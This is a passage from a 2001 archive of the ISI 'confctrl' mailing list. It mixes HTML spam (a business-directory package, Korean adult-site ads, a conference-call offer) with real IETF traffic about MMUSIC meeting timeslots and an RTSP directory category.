        <td width="107" align="center" bgcolor="#EAEAEA"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
        <td width="104" align="center" bgcolor="#F1F1E2"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
      </tr>
      <tr>
        <td width="142">&nbsp;</td>
        <td width="231" align="center">&nbsp;</td>
        <td width="107" align="center" bgcolor="#EAEAEA"><b>Full</b></td>
        <td width="102" align="center" bgcolor="#F1F1E2"><b>#1</b></td>
      </tr>
      <tr>
        <td width="142"><img height="11" src="http://www.bilol.net/images/include1-button1.gif"
        width="10"><b> </b>Active BANNER will rotate through the 'Main Page' web site.</td>
        <td width="231" align="center"><img
        src="http://www.bilol.net/include1/images/promotion-mainpage.gif" width="160" height="120"></td>
        <td width="107" align="center" bgcolor="#EAEAEA"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
        <td width="102" align="center" bgcolor="#F1F1E2"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
      </tr>
      <tr>
        <td width="142">&nbsp;</td>
        <td width="231" align="center">&nbsp;</td>
        <td width="107" align="center" bgcolor="#EAEAEA"><b>Full</b></td>
        <td width="102" align="center" bgcolor="#F1F1E2"><b>#1</b></td>
      </tr>
      <tr>
        <td width="142"><img height="11" src="http://www.bilol.net/images/include1-button1.gif"
        width="10"><b> </b>Active BANNER will rotate through the 'Right Menu' web site.</td>
        <td width="231" align="center"><img
        src="http://www.bilol.net/include1/images/promotion-search.gif" width="160" height="120"></td>
        <td width="107" align="center" bgcolor="#EAEAEA"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
        <td width="102" align="center" bgcolor="#F1F1E2"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
      </tr>
      <tr>
        <td width="142">&nbsp;</td>
        <td width="231" align="center">&nbsp;</td>
        <td width="107" align="center" bgcolor="#EAEAEA"><b>Full</b></td>
        <td width="102" align="center" bgcolor="#F1F1E2"><b>#1</b></td>
      </tr>
      <tr>
        <td width="142"><img height="11" src="http://www.bilol.net/images/include1-button1.gif"
        width="10"><b> </b>Active BANNER will rotate through the &quot;Full Company
        Information&quot;&nbsp; web site.</td>
        <td width="231" align="center"><img
        src="http://www.bilol.net/include1/images/promotion-fullinfo.gif" width="160" height="120"></td>
        <td width="107" align="center" bgcolor="#EAEAEA"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
        <td width="100" align="center" bgcolor="#F1F1E2"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
      </tr>
      <tr>
        <td width="142">&nbsp;</td>
        <td width="231" align="center">&nbsp;</td>
        <td width="107" align="center" bgcolor="#EAEAEA"><b>Full</b></td>
        <td width="100" align="center" bgcolor="#F1F1E2"><b>#1</b></td>
      </tr>
      <tr>
        <td width="142"><img height="11" src="http://www.bilol.net/images/include1-button1.gif"
        width="10"><b> </b>Active BANNER will rotate through the 'E-mail Form' web site.</td>
        <td width="231" align="center"><img
        src="http://www.bilol.net/include1/images/promotion-mailresult.gif" width="160"
        height="120"></td>
        <td width="107" align="center" bgcolor="#EAEAEA"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
        <td width="100" align="center" bgcolor="#F1F1E2"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
      </tr>
      <tr>
        <td width="142">&nbsp;</td>
        <td width="231" align="center">&nbsp;</td>
        <td width="107" align="center" bgcolor="#EAEAEA"><b>Full</b></td>
        <td width="100" align="center" bgcolor="#F1F1E2"><b>#1</b></td>
      </tr>
      <tr>
        <td width="142"><img height="11" src="http://www.bilol.net/images/include1-button1.gif"
        width="10"><b> </b>Review the status of your 'Banner Exchange' account.</td>
        <td width="231" align="center"><img
        src="http://www.bilol.net/include1/images/promotion-banneraccount.gif" width="160"
        height="120"></td>
        <td width="107" align="center" bgcolor="#EAEAEA"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
        <td width="100" align="center" bgcolor="#F1F1E2"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
      </tr>
      <tr>
        <td width="142">&nbsp;</td>
        <td width="231" align="center">&nbsp;</td>
        <td width="107" align="center" bgcolor="#EAEAEA">&nbsp;</td>
        <td width="100" align="center" bgcolor="#F1F1E2">&nbsp;</td>
      </tr>
      <tr>
        <td colspan="2" width="390">&nbsp;</td>
        <td width="156" colspan="2">&nbsp;</td>
      </tr>
      <tr>
        <td colspan="2" valign="middle"><img
        src="http://www.bilol.net/images/include1-button4.gif" width="10" height="10"><b> INTERNET
        PACKAGE&nbsp; (3 Months)<br>
        <font color="red">Price: $84.00 CDN x 3 Month&nbsp;+ $195.00 SETUP FEE = $447.00</font> </b></td>
        <td width="167" valign="middle" colspan="2" bgcolor="#DDDDDD"><form
        action="http://maplepages.com/creditcard/index.cgi" method="post">
          <input type="hidden" name="task" value="Add"><input type="hidden" name="formID"
          value="IT0"><b><a name="Part 0001 - INTERNET PACKAGE&nbsp; (3 Months)"><p></a></b><nobr><input
          name="xxsubmit" type="submit" value="Add to Cart"
          style="background-color: rgb(239,150,61)"></nobr></p>
        </form>
        </td>
      </tr>
      <tr>
        <td colspan="2" valign="middle"><img
        src="http://www.bilol.net/images/include1-button4.gif" width="10" height="10"><b>INTERNET
        PACKAGE&nbsp; (6 Months)<br>
        <font color="red">Price: $84.00 CDN x 6 Month&nbsp;+ $195.00 SETUP FEE = $699.00</font></b></td>
        <td width="167" valign="middle" colspan="2" bgcolor="#DDDDDD"><form
        action="http://maplepages.com/creditcard/index.cgi" method="post">
          <input type="hidden" name="task" value="Add"><input type="hidden" name="formID"
          value="IT3"><b><a name="Part 0003 - INTERNET PACKAGE&nbsp; (6 Months)"><p></a></b><nobr><input
          name="xxsubmit" type="submit" value="Add to Cart"
          style="background-color: rgb(239,150,61)"></nobr></p>
        </form>
        </td>
      </tr>
      <tr>
        <td colspan="2" valign="middle"><img
        src="http://www.bilol.net/images/include1-button4.gif" width="10" height="10"><b>INTERNET
        PACKAGE&nbsp; (One Year) SAVE $195.00 for SETUP FEE and pay only<br>
        <font color="red">Price: $84.00 CDN Per Month&nbsp;&nbsp;X 12 Month = $1008.00 per year</font></b></td>
        <td width="167" valign="middle" colspan="2" bgcolor="#DDDDDD"><form
        action="http://maplepages.com/creditcard/index.cgi" method="post">
          <input type="hidden" name="task" value="Add"><input type="hidden" name="formID"
          value="IT1"><b><a name="Part 0002 - INTERNET PACKAGE (One Year)"><p></a></b><nobr><input
          name="xxsubmit" type="submit" value="Add to Cart"
          style="background-color: rgb(239,150,61)"></nobr></p>
        </form>
        </td>
      </tr>
      <tr>
        <td colspan="4" width="615" height="40"><img
        src="http://www.bilol.net/images/include1-button4.gif" width="10" height="10"><b>FULL
        PACKAGE&nbsp;&nbsp; </b><a href="http://www.bilol.net/RegEmailPay3.asp"><img
        src="http://www.bilol.net/images/singup.gif" width="100" height="16" border="0"></a></td>
      </tr>
      <tr>
        <td width="615" colspan="4"><img height="11"
        src="http://www.bilol.net/images/include1-button1.gif" width="10"><b> </b>If you have any
        questions, please contact: <a href="mailto:info@maplepages.com">info@maplepages.com</a> </td>
      </tr>
      <tr>
        <td height="28" colspan="4" valign="middle" bgcolor="#F1BB49"><b><p align="center"><a
        href="http://www.maplepages.com/search"><b>http://www.maplepages.com/search</b></a> </b></td>
      </tr>
    </table>
    </center></div></td>
  </tr>
</table>
</center></div>

<p>&nbsp;</p>
</body>
</html>


--=200111261448=--

From confctrl-owner  Mon Nov 26 16:07:58 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA22166
	for confctrl-outgoing; Mon, 26 Nov 2001 16:07:58 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA22110
	for <confctrl@zephyr.isi.edu>; Mon, 26 Nov 2001 16:07:32 -0800 (PST)
Received: from mailx3.dacom.co.kr (mailx3.dacom.co.kr [203.252.3.75])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAR06Jg04544
	for <confctrl@isi.edu>; Mon, 26 Nov 2001 16:06:19 -0800 (PST)
Received: from sol ([211.171.1.156])
	by mailx3.dacom.co.kr (8.9.1a/8.9.1) with SMTP id JAA20510
	for <confctrl@isi.edu>; Tue, 27 Nov 2001 09:06:43 +0900 (KST)
Message-Id: <200111270006.JAA20510@mailx3.dacom.co.kr>
From: admins <admin@bojimolca.com>
To: confctrl@ISI.EDU
Subject: [±ä±Þ°øÁö] µåµð¾î ¿ÀǵǾú½À´Ï´Ù.
X-Mailer: Microsoft Outlook Express 5.00.2615.200
Reply-To: admin@bojimolca.com
Date: Tue, 27 Nov 2001 09:06:23 +0900
Mime-Version: 1.0
Content-Type: text/html; charset=ks_c_5601-1987
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=ks_c_5601-1987">
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>È­Á¦ÀÇ H¾çºñµð¿À</title>
</head>

<body>

<table align="center" bgColor="black" cellPadding="0" cellSpacing="0" width="477">
  <tbody>
    <tr>
      <td colSpan="2" vAlign="top" width="477">
        <table cellPadding="0" cellSpacing="0">
          <tbody>
            <tr>
              <td rowSpan="2" width="230">
                <p><b><font color="#FFFFFF" size="6"><a href="http://www.bojimolca.com" target="new">
                <font color="#FF0000">º¸Áö¸ôÄ«´åÄÄ</font></a></font></b></p>
              </td>
              <td width="230">
                <p><font color="red"><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;</span></font><a href="http://www.bojimolca.com" target="new"><span style="FONT-SIZE: 9pt"><font color="red">È­Á¦ÀÇ
                H¾çºñµð¿À.¿©´ë»ýÀÇ ÇÏ·ç......</font></span></a></p>
              </td>
            </tr>
            <tr>
              <td width="230">
                <p><font color="red"><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;</span></font><a href="http://www.bojimolca.com" target="new"><span style="FONT-SIZE: 9pt"><font color="red">ÆäƼ½¬.¸ôÄ«.XXXÀϺ»
                µ¿¿µ»ó,¼½½º¾ß»ç..</font></span></a></p>
              </td>
            </tr>
          </tbody>
        </table>
      </td>
    </tr>
    <tr>
      <td height="268" rowSpan="2" width="363">
        <p align="center"><a href="http://www.bojimolca.com" target="new"><img border="0" height="267" src="http://sexsextv.co.kr/img/Image1.gif" width="363"></a></p>
      </td>
      <td width="114">
        <p align="center"><a href="http://www.bojimolca.com" target="new"><img border="0" src="http://sexsextv.co.kr/img/Image7.gif" width="112" height="131"></a></p>
      </td>
    </tr>
    <tr>
      <td height="103" width="114">
        <p align="center"><a href="http://www.bojimolca.com" target="new"><img border="0" height="131" src="http://sexsextv.co.kr/img/Image6.gif" width="109"></a></p>
      </td>
    </tr>
    <tr>
      <td colSpan="2" height="76" width="477">
        <p align="center"><a href="http://www.bojimolca.com" target="new"><img border="0" src="http://sexsextv.co.kr/img/Image18.gif" width="475" height="74"></a></p>
      </td>
    </tr>
    <tr>
      <td colSpan="2" height="79" width="477">
        <p align="center" style="LINE-HEIGHT: 100%; MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px">¡¡
        <p style="LINE-HEIGHT: 100%; MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px">
        <marquee behavior="alternate"></marquee>
        <a href="http://www.bojimolca.com" target="new">
        <img border="0" src="http://img.69sexual.com/intro/photo_03.gif" width="152" height="110"><img border="0" src="http://img.69sexual.com/intro/photo_01.gif" width="154" height="110"><img border="0" src="http://img.69sexual.com/intro/photo_02.gif" width="152" height="110"><img border="0" src="http://img.69sexual.com/intro/photo_03.gif" width="152" height="110"><img border="0" src="http://img.69sexual.com/intro/photo_04.gif" width="152" height="110"><img border="0" src="http://img.69sexual.com/intro/photo_05.gif" width="148" height="110"><img border="0" height="110" src="http://img.69sexual.com/intro/photo_06.jpg" width="148"><img border="0" height="110" src="http://img.69sexual.com/intro/photo_07.jpg" width="152">
        <img border="0" src="http://img.69sexual.com/intro/photo_03.gif" width="152" height="110"><img border="0" height="110" src="http://img.69sexual.com/intro/photo_08.jpg" width="152"><img border="0" height="110" src="http://img.69sexual.com/intro/photo_09.jpg" width="152"><img border="0" src="http://img.69sexual.com/intro/photo_03.gif" width="152" height="110"></p>
        </a>
      </td>
    </tr>
  </tbody>
</table>
<p>¡¡</p>

</body>

</html>

From confctrl-owner  Tue Nov 27 08:03:07 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA02653
	for confctrl-outgoing; Tue, 27 Nov 2001 08:03:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA02648
	for <confctrl@zephyr.isi.edu>; Tue, 27 Nov 2001 08:03:06 -0800 (PST)
Received: from relay1.alcatel.be (alc119.alcatel.be [195.207.101.119])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fARG3eg29498;
	Tue, 27 Nov 2001 08:03:41 -0800 (PST)
Received: from Bemail06.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id fARG3Rd07147;
	Tue, 27 Nov 2001 17:03:28 +0100 (MET)
Received: from alcatel.be ([138.203.142.12])
          by Bemail06.net.alcatel.be (Lotus Domino Release 5.0.8)
          with ESMTP id 2001112717032380:4960 ;
          Tue, 27 Nov 2001 17:03:23 +0100 
Message-ID: <3C03B949.B7971B2@alcatel.be>
Date: Tue, 27 Nov 2001 17:03:21 +0100
From: lieve.bos@alcatel.be
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Cc: jo@ipdialog.com, csp@ISI.EDU
Subject: Time slots for IETF #52?
X-MIMETrack: Itemize by SMTP Server on BEMAIL06/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 11/27/2001 17:03:23,
	Serialize by Router on BEMAIL06/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 11/27/2001 17:03:32,
	Serialize complete at 11/27/2001 17:03:32
Content-Type: multipart/mixed;
 boundary="------------2601A2D5D48623D4C45FEFBD"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------2601A2D5D48623D4C45FEFBD
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=us-ascii

Hello,

Has anyone received confirmation yet about timeslots to present drafts
in MMUSIC WG at IETF #52?

We have submitted a draft (draft-bos-mmusic-sdpqos-framework-00.txt) and
still haven't received any confirmation about the requested timeslot
yet.

Lieve
--------------2601A2D5D48623D4C45FEFBD
Content-Transfer-Encoding: 7bit
Content-Type: message/rfc822
Content-Disposition: inline

Content-Transfer-Encoding: 7bit
X-Mozilla-Status2: 00000000
Message-ID: <3BF90D08.54339481@alcatel.be>
Date: Mon, 19 Nov 2001 14:45:44 +0100
From: Lieve Bos <lieve.bos@alcatel.be>
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: jo@ipdialog.com, csp@isi.edu
Subject: Time slot for Suresh LEROY
Content-Type: text/plain; charset=us-ascii

Hello,

Some time ago Suresh LEROY asked you for a time slot of 15 minutes
during the next IETF 52 MMUSIC WG meeting to present the draft
draft-bos-mmusic-sdpqos-framework-00.txt. As Suresh' computer crashed
(he is not able to receive/read/send e-mail for the moment) could you
please confirm to me whether a time slot has been reserved for him.
Please also copy any additional information about the meeting/procedures
to me.


Lieve Bos (for Suresh LEROY)

--------------2601A2D5D48623D4C45FEFBD--


From confctrl-owner  Tue Nov 27 08:14:31 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA03201
	for confctrl-outgoing; Tue, 27 Nov 2001 08:14:31 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA03195
	for <confctrl@zephyr.isi.edu>; Tue, 27 Nov 2001 08:14:30 -0800 (PST)
Received: from hafez.nge.isi.edu (hafez.nge.isi.edu [65.114.169.194])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fARGF9g03348
	for <confctrl@ISI.EDU>; Tue, 27 Nov 2001 08:15:09 -0800 (PST)
Received: from hafez (csp@localhost)
	by hafez.nge.isi.edu (8.11.6/8.11.6) with ESMTP id fARGF2309607;
	Tue, 27 Nov 2001 11:15:02 -0500
Message-Id: <200111271615.fARGF2309607@hafez.nge.isi.edu>
To: lieve.bos@alcatel.be
cc: confctrl@ISI.EDU, jo@ipdialog.com
Subject: Re: Time slots for IETF #52? 
In-Reply-To: Your message of "Tue, 27 Nov 2001 17:03:21 +0100."
             <3C03B949.B7971B2@alcatel.be> 
Date: Tue, 27 Nov 2001 11:15:02 -0500
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

We're still working on the draft agenda; expect confirmations soon.
Colin



--> lieve.bos@alcatel.be writes:
>Hello,
>
>Has anyone received confirmation yet about timeslots to present drafts
>in MMUSIC WG at IETF #52?
>
>We have submitted a draft (draft-bos-mmusic-sdpqos-framework-00.txt) and
>still haven't received any confirmation about the requested timeslot
>yet.
>
>Lieve

From confctrl-owner  Tue Nov 27 13:28:08 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA16243
	for confctrl-outgoing; Tue, 27 Nov 2001 13:28:08 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA16238
	for <confctrl@zephyr.isi.edu>; Tue, 27 Nov 2001 13:28:07 -0800 (PST)
Received: from prognet.com ([205.219.198.1])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fARLSkg11696
	for <confctrl@isi.edu>; Tue, 27 Nov 2001 13:28:46 -0800 (PST)
Received: from robla350.real.com ([172.23.100.116])
	by prognet.com (8.9.2/8.9.0) with ESMTP id NAA01050
	for <confctrl@isi.edu>; Tue, 27 Nov 2001 13:28:52 -0800 (PST)
Message-Id: <5.1.0.14.2.20011127132014.02faeb60@goobox.prognet.com>
X-Sender: robla@goobox.prognet.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Tue, 27 Nov 2001 13:28:40 -0800
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: RTSP category on Open Directory
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi all,

I've created a new category on Netscape's Open Directory for RTSP-related 
websites, located here:

http://dmoz.org/Computers/Internet/Protocols/RTSP/

Please let me know if there are any sites I've missed, preferably by using 
the "add URL" link at the top of the page.

Thanks
Rob

p.s. Does anyone know who is responsible for 
www.streamingserver.org?  There's some outdated and inaccurate information 
on this site, and I've tried to contact the maintainers to no avail.  I'll 
be removing this site from the directory unless I hear from someone soon.


From confctrl-owner  Tue Nov 27 17:44:54 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA27098
	for confctrl-outgoing; Tue, 27 Nov 2001 17:44:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA27093
	for <confctrl@zephyr.isi.edu>; Tue, 27 Nov 2001 17:44:52 -0800 (PST)
Received: from mailx.dacom.co.kr (mailx.chollian.net [203.252.3.22])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAS1jTg12366
	for <confctrl@isi.edu>; Tue, 27 Nov 2001 17:45:31 -0800 (PST)
Received: from sol ([211.171.1.156])
	by mailx.dacom.co.kr (8.9.1a/8.9.1) with SMTP id KAA17127
	for <confctrl@isi.edu>; Wed, 28 Nov 2001 10:42:21 +0900 (KST)
Message-Id: <200111280142.KAA17127@mailx.dacom.co.kr>
From: admins <admin@bojimolca.com>
To: confctrl@ISI.EDU
Subject: [±ä±Þ°øÁö] µåµð¾î ¿ÀǵǾú½À´Ï´Ù.
X-Mailer: Microsoft Outlook Express 5.00.2615.200
Reply-To: admin@bojimolca.com
Date: Wed, 28 Nov 2001 10:45:43 +0900
Mime-Version: 1.0
Content-Type: text/html; charset=ks_c_5601-1987
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=ks_c_5601-1987">
<meta name="GENERATOR" content="Microsoft FrontPage 5.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>È­Á¦ÀÇ H¾çºñµð¿À</title>
</head>

<body>

<table align="center" bgColor="black" cellPadding="0" cellSpacing="0" width="477">
  <tbody>
    <tr>
      <td colSpan="2" vAlign="top" width="477">
        <table cellPadding="0" cellSpacing="0">
          <tbody>
            <tr>
              <td rowSpan="2" width="230">
                <p><b><font color="#FFFFFF" size="6"><a href="http://www.bojimolca.com" target="new">
                <font color="#FF0000">º¸Áö¸ôÄ«´åÄÄ</font></a></font></b></p>
              </td>
              <td width="230">
                <p><font color="red"><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;</span></font><a href="http://www.bojimolca.com" target="new"><span style="FONT-SIZE: 9pt"><font color="red">È­Á¦ÀÇ
                H¾çºñµð¿À.¿©´ë»ýÀÇ ÇÏ·ç......</font></span></a></p>
              </td>
            </tr>
            <tr>
              <td width="230">
                <p><font color="red"><span style="FONT-SIZE: 9pt">&nbsp;&nbsp;</span></font><a href="http://www.bojimolca.com" target="new"><span style="FONT-SIZE: 9pt"><font color="red">ÆäƼ½¬.¸ôÄ«.XXXÀϺ»
                µ¿¿µ»ó,¼½½º¾ß»ç..</font></span></a></p>
              </td>
            </tr>
          </tbody>
        </table>
      </td>
    </tr>
    <tr>
      <td height="268" rowSpan="2" width="363">
        <p align="center"><a href="http://www.bojimolca.com" target="new"><img border="0" height="267" src="http://sexsextv.co.kr/img/Image1.gif" width="363"></a></p>
      </td>
      <td width="114">
        <p align="center"><a href="http://www.bojimolca.com" target="new"><img border="0" src="http://sexsextv.co.kr/img/Image7.gif" width="112" height="131"></a></p>
      </td>
    </tr>
    <tr>
      <td height="103" width="114">
        <p align="center"><a href="http://www.bojimolca.com" target="new"><img border="0" height="131" src="http://sexsextv.co.kr/img/Image6.gif" width="109"></a></p>
      </td>
    </tr>
    <tr>
      <td colSpan="2" height="76" width="477">
        <p align="center"><a href="http://www.bojimolca.com" target="new"><img border="0" src="http://sexsextv.co.kr/img/Image18.gif" width="475" height="74"></a></p>
      </td>
    </tr>
    <tr>
      <td colSpan="2" height="79" width="477">
        <p align="center" style="LINE-HEIGHT: 100%; MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px">¡¡
        <p style="LINE-HEIGHT: 100%; MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px">
        <marquee behavior="alternate"></marquee>
        <a href="http://www.bojimolca.com" target="new">
        <img border="0" src="http://img.69sexual.com/intro/photo_03.gif" width="152" height="110"><img border="0" src="http://img.69sexual.com/intro/photo_01.gif" width="154" height="110"><img border="0" src="http://img.69sexual.com/intro/photo_02.gif" width="152" height="110"><img border="0" src="http://img.69sexual.com/intro/photo_03.gif" width="152" height="110"><img border="0" src="http://img.69sexual.com/intro/photo_04.gif" width="152" height="110"><img border="0" src="http://img.69sexual.com/intro/photo_05.gif" width="148" height="110"><img border="0" height="110" src="http://img.69sexual.com/intro/photo_06.jpg" width="148"><img border="0" height="110" src="http://img.69sexual.com/intro/photo_07.jpg" width="152">
        <img border="0" src="http://img.69sexual.com/intro/photo_03.gif" width="152" height="110"><img border="0" height="110" src="http://img.69sexual.com/intro/photo_08.jpg" width="152"><img border="0" height="110" src="http://img.69sexual.com/intro/photo_09.jpg" width="152"><img border="0" src="http://img.69sexual.com/intro/photo_03.gif" width="152" height="110"></p>
        </a>
      </td>
    </tr>
  </tbody>
</table>
<p>¡¡</p>

</body>

</html>

From confctrl-owner  Tue Nov 27 23:50:04 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA11844
	for confctrl-outgoing; Tue, 27 Nov 2001 23:50:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA11792
	for <confctrl@zephyr.isi.edu>; Tue, 27 Nov 2001 23:50:00 -0800 (PST)
Received: from mail.chaffoteaux.pt ([194.65.67.60])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fAS7kkg01431;
	Tue, 27 Nov 2001 23:46:47 -0800 (PST)
Received: from SMTP agent by mail gateway 
 Wed, 28 Nov 2001 08:04:05 -0000
Received: from mail.hubang.com ([192.168.65.254])
          by mail.chaffoteaux.pt (Lotus Domino Release 5.0.7)
          with SMTP id 2001112805271358:219 ;
          Wed, 28 Nov 2001 05:27:13 +0000 
Received: from SMTP agent by mail gateway 
 Wed, 28 Nov 2001 05:43:02 -0000
From: "k.Hickman@hubang.com" <k.Hickman@hubang.com>
To: "2484@yahoo.com" <2484@yahoo.com>
Message-ID: <1006906138.0565794701@mail.hubang.com>
Subject: Crystal Clear Conference Calls/18 cents per min.
MIME-Version: 1.0
X-MIMETrack: Itemize by SMTP Server on SND_MF02/Clientes(Release 5.0.7 |March 21, 2001) at
 11/28/2001 05:27:14 AM,
	Serialize by Router on SND_MF02/Clientes(Release 5.0.7 |March 21, 2001) at
 11/28/2001 07:48:15 AM,
	Serialize complete at 11/28/2001 07:48:15 AM
Date: Wed, 28 Nov 2001 05:27:14 +0000
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML><HEAD><TITLE>Take Control Of Your Conference Calls</TITLE>
<META http-equiv=3DContent-Type content=3D=22text/html; charset=3Dwindows-1=
252=22>
<META content=3D=22MSHTML 5.50.4134.600=22 name=3DGENERATOR></HEAD>
<BODY vLink=3D=23c0c0c0 link=3D=23c0c0c0 bgColor=3D=23000000 leftMargin=3D0><F=
ONT 
face=3Darial,helvetica>
<P>
<CENTER>
<TABLE width=3D600 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><B><FONT color=3D=23999999 size=3D6>Long Distance 
      Conferencing<BR>Only <U>18 Cents</U> Per 
Minute</B></FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D=23ff0000 size=3D5><B>Connects Up To 100 Participants=21</=
B></FONT> 
<P>
<TABLE width=3D350 border=3D0>
  <TBODY>
  <TR>
    <TD><FONT color=3D=23999999 size=3D3><B>
      <LI>No setup fees 
      <LI>No contracts or monthly fees 
      <LI>Call anytime, from anywhere, to anywhere 
      <LI>International Dial In 18 cents per minute 
      <LI>Simplicity in set up and administration 
      <LI>Operator Help available 24/7 </B></FONT></LI></TD></TR></TBOD=
Y></TABLE>
<P>
<TABLE width=3D500 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D=23ff0000 size=3D60><B><FONT size=3D5>G=
et the best 
      quality, the easiest to use, and lowest rate in the 
      industry.</B></FONT></FONT></TD></TR></TBODY></TABLE>
<P>
<TABLE width=3D400 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D=23999999 size=3D4>If you like saving =
money, fill 
      out the form below and one of our consultants will contact 
  you.</FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D=23999999 size=3D2>Required Input Field<FONT color=3D=23ff0=
000 
size=3D2>*</FONT></FONT> 
<P>
<TABLE cellSpacing=3D0 borderColorDark=3D=23333300 cellPadding=3D3 width=3D6=
00 
borderColorLight=3D=23ffffcc>
  <TBODY>
  <TR>
    <TD align=3Dmiddle>
      <FORM action=3Dmailto:inboxx992=40yahoo.com?subject=3DConference_Inq=
uiry 
      method=3Dpost encType=3Dtext/plain>
      <TABLE width=3D=22100%=22>
        <TBODY>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 
          size=3D2>Name*</FONT></TD>
          <TD><INPUT name=3DNAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Web 
            Address*</FONT></TD>
          <TD><INPUT value=3Dhttp:// name=3DURL></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Company 
            Name*</FONT></TD>
          <TD><INPUT name=3DCOMPANY_NAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>
            State*</FONT></TD>
          <TD><INPUT size=3D2 name=3DSTATE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Business 
            Phone*</FONT></TD>
          <TD><INPUT name=3DBUS_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
